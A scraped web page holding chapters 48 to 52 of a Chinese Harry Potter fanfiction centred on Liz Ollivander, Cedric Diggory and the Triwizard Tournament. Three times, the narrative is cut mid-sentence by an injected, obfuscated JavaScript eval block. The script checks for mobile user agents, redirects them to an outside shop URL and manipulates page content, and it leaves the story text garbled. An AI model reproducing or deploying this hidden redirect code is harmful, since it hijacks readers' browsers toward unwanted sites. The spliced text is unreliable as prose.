英联赛94/95赛季的第一场比赛刚结束,普德米尔联队主场对阵利黑德哈比队,比赛进行了整整十一个小时,看台上的观众都睡倒了一片,最后伍德挡出了一个进球,总比分险胜对方仅十分。他一下子成了功臣,但伍德却觉得这是因为对面的追球手已经困到眼睛都睁不开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487836|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他才能抓住对手的漏洞,算是一种投机取巧。 如果不这么想的话,大概也就不会是奥利弗·伍德了,莉兹看到他写在信中的话时,在心里念叨着。其实每次伍德的信大多都围绕着魁地奇比赛和训练,时不时还会提到一些选手的事情,就和他在学校时一模一样,这点倒是让莉兹觉得挺好的,就像什么都没变化,除了没办法亲口听他说这些而已。 偶尔他也会说些和魁地奇无关的话,比如他会告诉她晚上做了什么梦,他在梦里见到了自己之类的,只是木讷的家伙很难将这些话用浪漫的方式表达出来,便简化成了“我梦见了你”,却不知道这几个字会让读信的人脸颊微烫。 莉兹在礼堂磨磨蹭蹭看完两封信才抱起课本往黑魔法防御课教室走去,头两节课的经验告诉她,穆迪教授一般不会来得特别早,基本都是班上的学生到齐了,他才会拖着那条不听话的木腿出现在教室后门。 况且她并不像韦斯莱双胞胎那样期待这节课的到来,至少在课堂上亲眼目睹不可饶恕咒语对她来说不是一种乐趣,听说穆迪教授从卢平教授那里收到了课程的教案,但他似乎没有打算要按照课程的进度上课的意思,这节课也一样,他将课桌椅统统收起来,让大家按队列排开面对着他。 “现在我要你们自己亲身体验一次夺魂咒,只有知道它的力量,才能更好地应对它。” 穆迪站在讲台前,提高了音量说道。 本想缩在最后一个的莉兹还是被乔治一眼从人群里找了出来,他和弗雷德两个人拉着莉兹排到了前列第三个,她虽是面无表情,但满眼里都写着不情愿,大概下课后一定会去找这对兄弟俩算账了。 “准备好了吗,奥利凡德小姐。” 她点了点头,心里想着准备好了也没用,什么样的人能轻而易举抵抗住夺魂咒啊,又不能给自己的脑袋加个坚不可摧的透明罩子。 “魂魄出窍!” 咒语念出,一阵暖流钻进莉兹的脑海里,把她刚刚所思所想的一切都冲刷得干干净净,她的耳旁听不见任何声音,整个人仿佛掉进了软绵绵的云朵里。 “我打赌小古板女士撑不到五秒钟。”穆迪开口让莉兹原地躺下的同时,弗雷德碰了碰乔治的手肘说道。 “那我赌十秒钟。”乔治看着站立着一动不动的女孩,倒数着时间,数到八秒时他在高兴自己赌赢了,而过去了将近一分钟她却仍然没有做出任何指令的时候,所有人都安静了下来,每个人都盯着莉兹的腿,想看她会不会躺下。 “非常好,非常好!”穆迪举起魔杖解除了咒语,莉兹的眼神瞬间变得清明,她抬头看了看周围的人,一脸不适地后退了半步,然后便听到穆迪继续说,“这种水平才说得过去,难怪弗里维会和我说六年级有个特别的奥利凡德!” “我们学校确实只有我一个奥利凡德。”莉兹不愿接受这种莫名的恭维,哪怕是来自这位严厉又古怪的教授。 其他人见莉兹应对得如此轻松,一个个都跃跃欲试,却抵抗不了半秒钟纷纷败下阵来,不是被控制着学狗叫,就是被控制着在地上打滚,整个教室里乱哄哄的,莉兹简直是一分钟都不想在这里呆着了。 “你看起来可不太好。”乔治走过来将一颗太妃糖放在塞进她的手心里。 慢悠悠打开糖纸,把糖丢到嘴里,莉兹回道:“我想我在这世界上最讨厌的事情大概就是失去思考的能力,一秒都不行。” 她说的话乔治听得似懂非懂,但她含着糖时鼓起的脸颊很有意思,他很想伸手戳两下。 49. 不说话才会惹矛盾 每个人上学的时候总得碰上几个校园里的风云人物,尽管霍格沃茨是一所培养巫师的学校,它也不能免俗,莫说格兰芬多有位大难不死的波特,成天到处恶作剧的韦斯莱双胞胎也是全校皆知的角色。而为数不多以纯正面形象收获了最多关注的人,便是赫奇帕奇的完美先生,塞德里克·迪戈里。 似乎自从他当上魁地奇校队队长又被选上级长之后,身边就开始围绕着越来越多的视线,看起来所有人都认为他是够资格代表霍格沃茨出战的那位勇士。有时会有低年级的男生女生等在教室之外,就想能在下课时看他一眼,几次都把一起上课的莉兹挤到了走廊另一角,完美先生微笑着和好友表示抱歉,奈何莉兹一点不在意,她摆了摆手一个人向着相反方向走去,顺便在写给伍德的信里调侃一下他这位好兄弟的处境。 她不清楚塞德里克是不是喜欢被追捧,但至少在她看来被关注从来都不是什么值得高兴的好事,毕竟莉兹很小的时候就被传说中的米歇尔带进了魁地奇球场,在走路都摇摇晃晃的年纪,她骑着玩具扫帚,抱着比她的脑袋还要大的鬼飞球,面对着上千观众,面对着几十台照相机,为那年赛季普德米尔联队最后一场主场比赛开球。 观众们尖叫、欢呼、呐喊,冲击着莉兹的耳膜,好像要把她按倒在沙地里。 好在大家对她的兴趣并未保持太长时间,一是因为米歇尔在后来的世界杯比赛结束后宣布卸任英格兰队队长,从国家队退出;又在那年冬歇前时宣布了她准备要退役,等到下个赛季时她会出任普德米尔联队的主教练,即将淡出观众的视野。二是因为脱离了幼年长相的莉兹不再被大家认为是圆滚滚的魁地奇精灵,她只是一个身材瘦小、肤色苍白的普通小女孩,长着一双特别的银色眼睛。 这大概是莉兹人生中第一次知道了什么叫做“没有成长为旁人期待的模样”的下场,这也让她第一次体会到“不被期待”会是一件多么令人快乐的事情。只不过很可惜,自那之后接替了那些毫无价值的关注压在她头顶的却是米歇尔沉重的魁地奇人生。 最近同样选择了疏远塞德里克的还有秋,这可有点儿稀奇,好歹完美先生也花了好长时间才等到了性格内敛又害羞的邻居女孩点头说一声同意,眼见着俩人就快成为霍格沃茨模范情侣一号了,谁想到在这个节骨眼上出了岔子。 这天晚上依旧是最后一个回到寝室的莉兹刚进门就觉得气氛不太对劲,按理来说被戴维斯放了两次鸽子的玛丽埃塔应该已经从前几天的状态里走出来了,莉兹实在受不了那副哭哭啼啼的样子。轻手轻脚把背包里的书放在床上,她抬头看向对床,秋两手捏着哈比队吉祥物的翅膀,把玩偶捏得嗷嗷直叫,眼神里夹杂着失落与一点怒意。 本着对同学私事毫不在意的原则,莉兹想拉上床帘躺下继续看那本麻瓜小说,她离开图书馆前刚看到主角抓住了马夫并说他是真正的凶手。*可本着对朋友的关心,她内心的天平最终还是倒向了一侧,莉兹轻叹一口气在秋床边坐下。 “愿意跟我说说吗?”她问道,“或者你要是觉得我跟塞德是朋友所以不告诉我也没什么,反正我会押送他来跟你赔罪的。” “其实和他没关系……”秋总算是放过了玩偶的翅膀,松开了手,“我只是觉得好像他离我有点远了。” 梅林啊你都这个表情了怎么可能和那家伙没有一点关系,莉兹把自己内心的实话咽回去,保持着耐心继续说:“那说到底还是他的问题嘛。” “这一周我们都没说上话,他总是在开级长会议,或者是在组织学院的活动,我……我不知道自己是不是给他添了麻烦。”秋越说越小声。 “没办法呀,都说迪戈里今年会参加三强争霸赛,明年会接任学生会主席,大家有活动当然会叫上他啊。”玛丽埃塔插话,“喜欢这样的男孩子就是要吃些苦头的,罗杰也是……” “你跟塞德说过了吗,”莉兹打断了玛丽埃塔的话,难怪秋的心情一直这么糟糕呢,总有个人在她身边说这些话当然要出问题的,“说你很想和他见面?” 秋的脸瞬间变红了,她移开目光,最后支支吾吾回答:“我……我没有说过,这要怎么说嘛……” “怎么说……当然是直接说啊。”搞不懂这些弯弯绕绕的情绪,莉兹眨了眨眼。 “我们和你不一样啦!”玛丽埃塔也爬到了秋的床上凑过来,她转头去找身后的佩德玛,希望得到剩下一个人的支持以增强自己反驳莉兹的力度,“你觉得我说得对不对,谁会像你一样什么话都直接说出口,包括得罪人的话。” 不会这种时候跑来翻旧账说自己跟戴维斯过不去吧,莉兹看着面前三个女孩几乎相同的眼神,双手投降似的缓缓摇头,她没有再说任何话,站起身走回床边,当她挥了挥魔杖放下床帘的时候她听见秋低声埋怨着玛丽埃塔。 “你为什么要这么说呀,莉兹是为了我好……” “傻姑娘,她和迪戈里又是一起开级长会议,又是一起巡逻,还上同一节魔药学课和占星课,你怎么能听她的话。”玛丽埃塔那毫无根据的演说再次开演了。 “他们是朋友,玛丽埃塔,”秋倒是难得硬气了一回,“我和莉兹也是朋友。” “哎呀,我这不也是为你着想,你想喜欢塞德里克的女孩子那么多。”玛丽埃塔的表述依旧是换汤不换药。 “好了,总而言之,我不喜欢你这样说我的朋友。”秋做出最后的赶客结论,“早点睡吧,我们明天还有早课呢。” 她们互道了晚安,寝室里便只剩下翻书页的沙沙声和失眠人粗重的呼吸声。 小小的矛盾看似没有过夜,但隔天起床互相之间对视时那尴尬的眼神却说明了一切,莉兹的确毫不在意,甚至她还觉得有一丁点高兴,有人真心实意认为自己是朋友,这肯定是值得高兴的。至于她到底要不要插手秋和塞德里克的事情,她还在犹豫。 于是当塞德里克看到已经两节课没有在魔药学课和他同桌的莉兹,抱着课本拉开了旁边的椅子时,聪明的男孩敏锐察觉到了一定有事发生,他趁着斯内普教授还没进门,抬手她眼前晃了晃。 “我惹你生气了?”他问。 “你问错对象了,迪戈里。”莉兹扫了他一眼,把书翻到了可能会被抽查的页数。 被这态度整得云里雾里的塞德里克也翻开了书,他低头看了两行之后实在没忍住又抬起头来,继续问:“奥利弗惹你生气了所以我被连坐了?” “你那媲美梅林的智商是消失了吗?”莉兹皱起眉头看向他,塞德里克顶着一张帅气的脸蛋露出了无辜而疑惑的神情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但是他人的目光不重要,他人的看法不重要,他人的一切对她来说都不重要,好吧,也不能这么说,个别人确实是重要的,可最重要的还是她自己。 后来没过两天塞德里克和秋便和好如初,这下可算是真的变成模范情侣一号了,寝室里弥漫着的尴尬气氛也消失得一干二净,不过玛丽埃塔又找到了新的深夜话题,内容依然是莉兹完全不感兴趣的关于男孩的资讯。 她在听到“你们都看到波特是怎么盯着秋看的了”的时候翻开了床边的书。书里夹着米歇尔傍晚时刚送来的信,那会儿莉兹刚从公告栏前往礼堂方向走,班克便将信封直接丢在了她的头顶,它似乎正因为莉兹对米拉尼尔太过亲切了而有点生气。 莉兹 听说德姆斯特朗这周五就要到达霍格沃茨了,我希望你能说服克鲁姆在今年冬窗加盟普德米尔,就算不成功,我也希望你能成为克鲁姆的朋友。 还有,日常训练不要放松,我给你争取到了明年的青训名额。 米歇尔 读完了信上每个字,莉兹冷着脸将它原封不动塞回去,小说的内容也变得不再有趣了,她只好哼了一声趴在了枕头上,用睡觉逃避面对妈妈的无理要求。 *莉兹在看《血字的研究》 *鬣狗樹的叶子可以让人大笑不止 50. 不要贪吃啊莉兹 虽说莉兹不是个喜欢捣蛋的孩子,但是往年万圣节的到来都会让她的心情变得很不错,因为那一周的正餐时间总能吃到多一份甜品,如果偷跑去厨房的话,页总是能看到家养小精灵在烤南瓜馅饼和巧克力饼干。莉兹·奥利凡德喜欢甜食几乎是一个公认的事实,哪怕是与她不算熟悉的同学都知道只要一包太妃糖,就能从她那里借来课程论文做参考。 可是今年她看起来却不太高兴,正当所有人都在为了周五下午的课要提早结束而欢呼的时候,莉兹攥着那封妈妈寄来的邀请信,皱着眉头坐在拉文克劳的桌旁,连午餐供应的餐包都没啃完。 其实她有无数个不满的理由,比如弗立维教授前一晚让她和学院其他的级长一定要做好接待布斯巴顿的同学们的准备,同样的话她在这一个月里已经听了快十遍,教授似乎每隔几天就要提醒一遍。再比如说手上这封信,米歇尔女士前脚刚提到了青训名额,后脚英格兰队就送来了邀请信,走后门的机会能不能不要浪费在这种地方。又比如说……她放下手里的叉子看了左边一眼,又看了右边一眼,缓缓摇着头说道:“先生们,这里好像是拉文克劳的桌子。” “不好意思,请问介意我们坐在这里吗?”弗雷德笑嘻嘻地同对面坐着的玛丽埃塔还有秋眨了眨眼。 女孩们十分大方地笑着摆摆手,拿过课本便站起身来,似乎早已习惯了这对兄弟的做派似的,她们低声说着悄悄话,手挽手离开了礼堂,留下无奈叹着气的莉兹在原地,她将信封塞回巫师袍口袋里,再次瞥了一眼左边。 “我们已经问过麦格教授了,可她什么都不告诉我们。”乔治一手撑着桌面,侧过身来与她对视。 “我听说你们提前为了三强争霸赛开了好几次级长会议,就没什么能透露给我们的吗?”弗雷德同时附身凑过来。 “你们为什么会觉得我一定知道呢?”莉兹把啃了一口的餐包掰成一小块一小块的样子全都丢进自己的奶油蘑菇汤碗里,“何况不够年龄也不能参加,知道选拔方式有什么意义?” “这个我们自有妙计,你就稍微给我们一点提示啦。”乔治从袖子里变出一块糖霜饼干把那汤碗换到了他跟前,而这一连串动作实在太流畅且迅速了,莉兹压根没反应过来时,手里的勺子就已经到了他手上,三两下那碗里的浓汤就被吃掉了三分之一。 低头咬了一小口饼干,那橙色糖霜里南瓜的香甜味在口中漫开,稀释了她这两天的糟糕心情带来的酸苦,莉兹垂眼思考了一阵回道:“每一届的争霸赛都会强调勇士是被选中的,我想这不需要什么选拔,等待被‘选中’就好了。” “那不能是抽签吧。”弗雷德迟疑着。 “那多不公平啊。”乔治附和道,嘴里还咀嚼着没被泡软的餐包。 “火焰杯受魔法契约约束,自有它的道理。”莉兹咽下最后一口饼干,没意识到自己说漏了嘴。 “哦——所以是通过火焰杯来选拔呀。”乔治一条眉毛,摸出另一块画着幽灵图案的糖霜饼干。 “谢谢小古板女士了。”弗雷德拍拍莉兹的头顶,说罢兄弟俩一溜烟消失在了礼堂里。 贪吃可真容易误事,莉兹赌气似的把饼干整个儿塞进嘴里,浓郁的巧克力味再次让她投降,匆匆收拾好下午上课要用的书,她将杯子里的莓果汁一饮而尽,小跑着往外去。 时间很快来到了傍晚时分,下午的算术占卜课提前结束了,维克多教授只好把课上没讲完的部分作为课后作业留给了大家,教室里只听见怨声载道的声音,莉兹趁着这时候把答案在剩下的题目后写好,等待着下课铃打响。一旁的塞德里克则是靠近偷看了一眼,顺手记了下来,在看到和他算出来的不同数字时稍稍犹豫了两秒,最后还是留下了自己的答案。 霍格沃茨大部分人都在期待布斯巴顿和德姆斯特朗的学生到来,下课铃一响,所有人都从教室里冲了出来,很快就把走廊挤得水泄不通,莉兹和塞德里克站在教室门前看着眼前的盛况,并不着急加入他们。女生主席杰姬在麦格教授的指挥下站在台阶高处大声喊着:“各位同学请回到各自的公共休息室,穿好巫师袍、戴好巫师帽,六点前在学院院长的带领下在城堡前集中!” 她用了魔咒让自己的声音变得洪亮无比,就像在每个人耳旁吼出来似的,莉兹皱着眉头捂住自己的耳朵,用嘴形和塞德里克问道:“所以学生会主席是可以在走廊上公开使用魔法的?” “麦格教授没扣分所以就是可以吧,”塞德里克也用手指塞住一边的耳朵点了点头,“梅林啊,这个音量……” 莉兹踮脚去留意麦格教授的表情,她看起来又谨慎又紧张,大约是大型活动的举办让她忘记了校规的存在,她招呼着几个被挤在后面的格兰芬多学生,让他们赶紧回寝室拿衣服。刚巧这时候杰姬也发现了躲在教室门旁的两位级长,她没有解除魔咒而是直接对着他们说道:“塞德,莉兹,尽快把你们学院低年级的学生带回去!” 这一声让周围人都转头朝他们看了过来,塞德里克坦然地微笑示意,这位身材高大的帅气男生自带永远都能被一眼注意到的特异功能。淹没在人群里的莉兹只能尴尬地扯了扯嘴角,她举起自己的魔杖在半空画了个圈,出现了一个亮闪闪的小光圈,于是拉文克劳的学生很快便知道了她的方位。 天色渐暗,深秋季节里北苏格兰高地的寒风吹得人身子发僵,怕冷的莉兹戴着伍德送的那副小羊皮手套,裹紧了巫师袍,半张脸都缩在了衣领下。她呆呆望着半空,心想幸好在级长会议上将所有接待任务都推给了戴维斯,一会儿布斯巴顿的学生到了之后她就可以功成身退,当作她从不曾出现过一般。 突然地,莉兹的视线被旁边长廊上的一抹翠绿色吸引走了,她昂起头来极力想看得清楚一些,若是没猜错的话,那身影一定是……她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487838|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猫着腰后退到拉文克劳队伍的最后列,接着快步追了过去,那一定是塞西尔,她说过她最近一定会来霍格沃茨的,虽然一直没有说具体要来做些什么。 皮靴的高跟与台阶碰撞在空荡荡的走廊里很突出,尤其是这会儿学生教师们暂时都聚集在城堡前,塞西尔直奔黑魔法防御课教授的办公室,她带了瓶苹果酒想送给刚入职的好友,便和平时一样不打任何招呼便上了门,想着在宴会开始前顺便放下就好,可惜办公室的门紧锁着,她尝试着用咒语解锁,差点被防御类的魔咒烫伤了手。 “阿拉斯托还真是老样子,在学校里都这么战战兢兢的。”塞西尔自言自语着,弯腰把苹果酒放在了地上,听到了身后传来脚步声,下意识警惕了起来,可转身却对上了满脸写着笑意的莉兹,小姑娘早已褪去上一年的稚气,乱糟糟的卷发再也盖不住那清秀的脸庞了。 “我果然没看错,塞西尔真的是你。”莉兹两手背在身后,步伐轻快。 “我还准备宴会时给你惊喜呢,”塞西尔狠狠一揉她的头发,“居然长高了这么多,我都要认不出来啦。” “你会在霍格沃茨待很久吗?”莉兹问。 “今晚会有第一批火龙到达,所以会等安顿好再回伦敦。”塞西尔毫无顾忌地说出了“火龙”一词。 “这算提前透题吗?”莉兹很快就联想到了比赛的项目。 “其实提前知道也不会有什么影响,要知道每条龙至少都有四个巫师照看。”塞西尔笑了笑,“何况……能不能被透题也算是对勇士能力的一种考察。” “什么考察,人脉吗?”莉兹向来说话直接。 “看来我们的天才伊莉莎想当霍格沃茨的勇士了?”塞西尔话锋一转。 “我更想知道我会不会是被选中的人,”莉兹说着又顿了顿,“但是被选中意味着什么我又想不明白,这种能名垂青史的机会还是留给别人吧。” “留给你的好朋友塞德里克吗?”塞西尔又笑了一声。 “如果可以,那很不错,我觉得他大概会赢到最后。”她点头,心里默默在想:我的朋友是三强争霸赛冠军,我的男朋友是国家队选手,这种感觉确实相当不错。 外面的嘈杂声提醒了正聊着天的两个人,布斯巴顿和德姆斯特朗的学生们大概是已经到了,塞西尔像是突然想起什么似的说:“哎呀,我必须要先到礼堂去了,克劳奇先生应该快到了。” “今天魔法部也会来人吗?”莉兹跟在塞西尔身后嘀咕着。 “没错,还有巴格曼那家伙呢,”塞西尔应声,“听说他坑了两个孩子的钱,前段时间信件都寄到办公室去了,信里流出了奇怪的黏液,他找人帮忙清理了好半天。” 莉兹听到这话突然在楼梯上停住脚步,愣了几秒才又跟上,原来乔治先前讲的就是这件事,她挠了挠耳朵,有时候真是想不通他们俩是真聪明还是假狡猾。 51. 合作愉快吗 实际上没有等到晚宴时间开始塞西尔便匆匆离开了礼堂,费尔奇甚至都没有在教师席为她多准备一把椅子,她似乎只是和邓布利多教授打了个照面说了两句话,然后又四处张望像是在找谁似的,当穆迪拖着不太灵光的腿挪到座位边时,塞西尔弯腰低声提醒他办公室门口的苹果酒记得要喝,没等对方回话她已经迈开步子消失在了长桌之间。 穆迪的假眼在眼眶里转了好几圈,定格在了女人的身上,他也仿佛若有所思,沉默地拧开自己的酒壶喝了一大口,整个人抽搐着抖了两下,再次抬头时他又察觉到了一股熟悉的视线,拉文克劳的桌子旁那位头发卷卷的奥利凡德正目不转睛地死死看着自己,从第一天上课时她就一直是这样的眼神,她看得越是认真,他就越是摸不透一个小姑娘的想法。 只见她缓缓低下头切开一块羊排把嘴里塞得满满的,前一秒思考的表情立刻消失得无影无踪,而对面的布斯巴顿学生大约是对她这略显粗鲁的吃相有点不满,拿起刀叉慢条斯理把肉切成小块,摆出演示的姿态吃给她看,同时嘴里还和一旁的戴维斯用法语嘟囔着什么“我们那里的学生可不会这样”之类的话。 很显然,平日里与莉兹总是不对付的罗杰·戴维斯可不会放过这种嘲讽的好机会,他仗着自己那四分之一法国血统,同那位男生一起你一言我一语地议论了起来。莉兹毫不在意,继续咀嚼着嘴里的烤肉,不过无意冒犯她有时候真的很好奇,戴维斯真的是喜欢女生的吗,还是说他说法语就一定要用上这样的语调。 对比起来另一边坐着的女生们反而好相处得多,她们刚坐下时两个人贴在一块儿喊着太冷了,莉兹捕捉到了自己能听懂的一些简单词汇,将口袋里那枚乔治送给自己用来取暖的发热龙蛋拿出来递了过去。个头高一些的女生一头浅金长发在礼堂漫天的烛光下更像是透着耀眼的银,她礼貌地道谢,看着龙蛋里隐隐约约真的有小龙的影子,又有些担心地不敢伸手。 “这不是真的龙蛋,”莉兹解释,“是魔法道具。” “非常谢谢你,我想我们不需要的。”女生婉拒了莉兹的好意,又补充道,“但是这很有意思,制作的人应该很厉害吧。” “确实是挺厉害的。”莉兹点了点头,又把它塞回了袍子内袋里,顺手把热腾腾的法式杂鱼汤往她们那里推了推。 月亮升到当空的时候,晚宴也接近了尾声,莉兹赶在最后的时刻吃完了第三份奶冻,如果有的选的话,她还是希望多来一块南瓜挞,毕竟这可是万圣节。她放下的勺子的瞬间,邓布利多教授也站起了身,他稍稍一抬手,各个学院长桌上的碗碟刀叉便凭空不见了,连桌子都被擦得发亮,这么多年被霍格沃茨的学生们折腾出的坑坑洼洼也一并磨平,摸起来宛如重新打了蜡。 这等修复能力果真是令人羡慕极了,莉兹下意识去摸手边本来应该存在着的一个老旧痕迹,这还是她刚进学校那年班克和其他猫头鹰在这里打架留下的划痕,最后它们都因为米歇尔寄来的那封吼叫信遭了殃,而莉兹也因此一“信”成名,成了全校人尽皆知的米歇尔二代,一个因拒绝了提前加入拉文克劳魁地奇校队而被妈妈寄了吼叫信的新生。 完了,想到这里莉兹的脸色又变了,她手上除了那封自己想扔进壁炉里烧掉的青训邀请信,还有盖着普德米尔联队邮戳的另一封信件。是的没错,正如米歇尔先前在提醒过的那样,明年克鲁姆就要正式签职业合约,她希望莉兹能抓住今年的机会帮普德米尔拿下这位超级新星。 抬头看了一眼在斯莱特林桌子那儿被众星捧月的威克多尔·克鲁姆,莉兹摇了摇头,连邓布利多教授讲的所有关于三强争霸赛的事情都听不进去,何况她还惦记着来无影去无踪的塞西尔,明明说着会在晚宴见面的,结果又是一场空。于是就这样闷闷不乐地等到了争霸赛开幕结束,莉兹好像和所有的同学都不在同一个空间一般,她在思索怎么在不引人注意的情况下完成米歇尔的任务,而大家都在七嘴八舌谈论即将被放在门厅能够选拔出真正勇士的火焰杯,还有那条邓布利多教授强调的年龄线。 被这阵喧闹吵得太阳穴隐隐作痛,莉兹为了躲清闲悄悄跑去了老地方,自打伍德毕业,加上今年的魁地奇比赛被全部取消,她已经有很长时间没有来过球场旁的那间办公室里,熟门熟路打开被锁着的木门,里面那个移动的黑板上还留着伍德先前写的世界杯小组赛赛程,被擦去了一半,英格兰队的标志还清晰可见,长桌与椅子上都落了灰,门打开时冷风吹进来,扬起的尘埃惹得她在原地打了个喷嚏。 “希望壁炉里还有柴火可用。” 身后突然想起了谁的声音,她揉了揉鼻子转过身去,笑得一脸灿烂的塞德里克拿着一大袋巧克力糖果,橙色的布袋子上画了一只幽灵,正在飘来飘去。 “哦,你问我为什么会出现在这里,秋说你今晚好像心情不太好。”塞德里克在莉兹还没说话的时候就自顾自做了解答,说着他先关门而后放下糖,最后举起魔杖对着壁炉念了一句咒语,柴火被点燃,暖意很快在室内升腾起。 “你知道做好事太多反而很怪异吧,”莉兹露出了迟疑的表情,但从袋子里摸出巧克力的动作又很自然,“万圣节没有宵禁,你还不如去享受自己的恋情。” “我就这么像见色忘义的人吗,可太让人伤心了。”塞德里克饶有兴致盯着黑板上伍德的字迹,“奥利弗那会儿还以为自己能在世界杯上场比赛。” “四年以后也才到职业黄金期而已,他才刚开始走这条路,急什么。”莉兹说的不带一点遗憾,“我倒觉得更可怕的是下一届我和他会在一起打魁地奇。” “对我来说就不可怕了,我能一次看两个好朋友打世界杯,这种机会一辈子能有几次?”塞德里克明知莉兹对打职业这件事如临大敌,却故意调侃着说。 “迪戈里先生嘴下留情别咒我,”莉兹又拿了一颗糖再次摇摇头,“这种场面还是别期待了,看不到最好。” “其实我也 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“还以为你一点都不关心这件事,没想到会有什么人参选你都已经知道了。”塞德里克托腮也看过来。 “我的耳朵又不是摆设。”她两手指了指头两侧。 “可是你少算了一个人,概率会完全不同吧。”塞德里克说道。 “我?”莉兹轻笑一声,“让给你吧,完美先生。” “哎呀,被小瞧了。”塞德里克也笑起来,“那我们打个赌吧。” “赌什么?”莉兹起了兴趣。 “明早我会把我们俩的名字都投进去,”塞德里克清了清嗓子,“无论谁的名字被选中,另一个人都要无条件帮助另一个人夺冠。” “我图什么呀?”莉兹才懒得玩这游戏。 “图我不再期待你和奥利弗一起打魁地奇?”塞德里克难得耍赖似的说,“不然我就每天都会祈祷那一天到来,对着梅林祈祷,也对着赫尔加女士祈祷。” “怕了你了。”莉兹赌气又拆开一颗糖,狠狠塞进嘴里。 隔天晚上,高脚杯里的火焰噼噼啪啪作响,它先是吐出了克鲁姆的名字,接着吐出了芙蓉的名字,最后就是属于霍格沃茨勇士的名字了,所有人屏息以待,秋紧紧捏着玛丽埃塔的手,似乎比当事人还要紧张。而莉兹一脸平静,过了一会儿邓布利多教授不紧不慢从高高窜起的火舌中抽出了第三张羊皮纸,大声地念出了那个名字。 莉兹露出“果真如此”的微笑抬眼同他对视,对方也是一样的表情,并用口型回了一句“合作愉快”。 只不过这阵欣喜与众人的欢呼很快被依然蠢蠢欲动的火焰杯给打断,邓布利多教授的讲话都因此停了下来,莉兹的心跳到了嗓子眼,她不知道自己在设想什么场景,只是越发紧张了起来。 “哈利·波特!” 第四个名字被念出的霎那间,一盆冷水也从她的头顶浇下,莉兹无声地在心里自嘲地笑了笑,宛如刚刚的情绪从未出现过。 52. 做朋友就是不讲道理的 忙着与德姆斯特朗的学生套近乎的斯莱特林们似乎一点也不关心霍格沃茨的勇士是谁,或者他们更期待看到那位波特出洋相,可是向来关系亲近的赫奇帕奇与格兰芬多们却突然间成了仇敌,连性格爽朗的女生主席杰姬都没能主动说出祝贺的话语,更别提学院其他人了,宁可关上门回到各自的公共休息室去庆祝,也不愿再搭理对方。 而在这之中看似没什么参与感的拉文克劳原本和往常似的,抱着一桶爆米花坐看他人斗争,可谁料塞德里克把自己和莉兹的名字一起投进火焰杯的事情不知怎么传到了戴维斯的耳中,他添油加醋地和周围的女生们讲了一遍又一遍,最后连布斯巴顿的学生都开始用奇怪的眼神看待莉兹了,毕竟对他们来说落选是一件羞耻的事,居然还有人能让朋友替自己报名。 落选本身就在莉兹的意料之中,说实在的她压根不认为自己需要感到失望与不快,无法量化的选拔标准哪怕是受制于强大的魔法契约,只要有一点空子,都可以再用魔法改变,这就是巫师世界。就好比,当听到邓布利多校长念出“哈利·波特”的那个瞬间,虽像是冷水浇顶,可她更快意识到的是,那个男孩大约又被卷进了他无能力控制的处境。 抬头望着刚刚被选中的几人离开的方向,在嘈杂的礼堂里,只有她低声说了一句:“真是有够倒霉的。” 回到寝室后,玛丽埃塔再次相信了戴维斯的说法,用更加匪夷所思的措辞提醒秋,说塞德里克可是万中无一的抢手货,让她千万要注意某些人。此时莉兹正攥着信封思索怎么能找到克鲁姆落单的时候,把邀请信神不知鬼不觉塞到他的口袋里,顺便也在思考如何在不暴露塞西尔的前提下,把第一个项目的题目透给塞德里克,她实在没那个精力参与只有玛丽埃塔一个人上演的多角恋戏码。 不过也许是因为最近这段时间围绕在她心头的烦心事确实太多了,平日里都会把这些当成耳旁风的莉兹难得开了口,她一把撩开床帘,先是面无表情盯着坐在秋的床上喋喋不休的玛丽埃塔,一直看到她头皮发麻闭上了嘴,莉兹才说道:“需要我教你混淆咒如何使用吗,这对你的私人演说似乎很有帮助。” 心虚的玛丽埃塔别过脸去,装作自己刚刚什么都没讲似的,原本应该见好就收的莉兹放下手里的东西站起身,走到了她们跟前,今年好不容易长高了的莉兹终于看起来有了点高年级学生的模样,她的一张冷脸让一旁年纪最小的帕德玛吓了一跳,她以前从未见过她生气。 “如果你尊重你的朋友,我是说秋,”她顿了顿,“玛丽埃塔,你就不应该把她的恋爱说成是一场争夺战,秋不是战士,塞德里克也不是战利品。” “我又没什么其他的意思,就是……”玛丽埃塔眼神飘忽不知该看哪里,“那你倒是知道避嫌啊!”她突然地对着她喊了出来。 秋连忙使眼色拉着玛丽埃塔的衣服,这性格温和的姑娘又要开始做和事佬了,莉兹更是气不打一出来,她看向秋:“还有,假设你足够相信我,你也应该让她闭嘴。” “你对秋发什么脾气呀,”听到这话玛丽埃塔反而起了劲,她跳下床向前走了两步又回头看秋,“明明就是她做得不对吧,昨天到底是谁和迪戈里待到半夜才回来的,你不觉得这很奇怪吗?” 被气得发笑的莉兹冷哼了两声,正要开口时秋打断了她:“我不觉得奇怪。” “啊?”玛丽埃塔难以置信地看着自己的朋友。 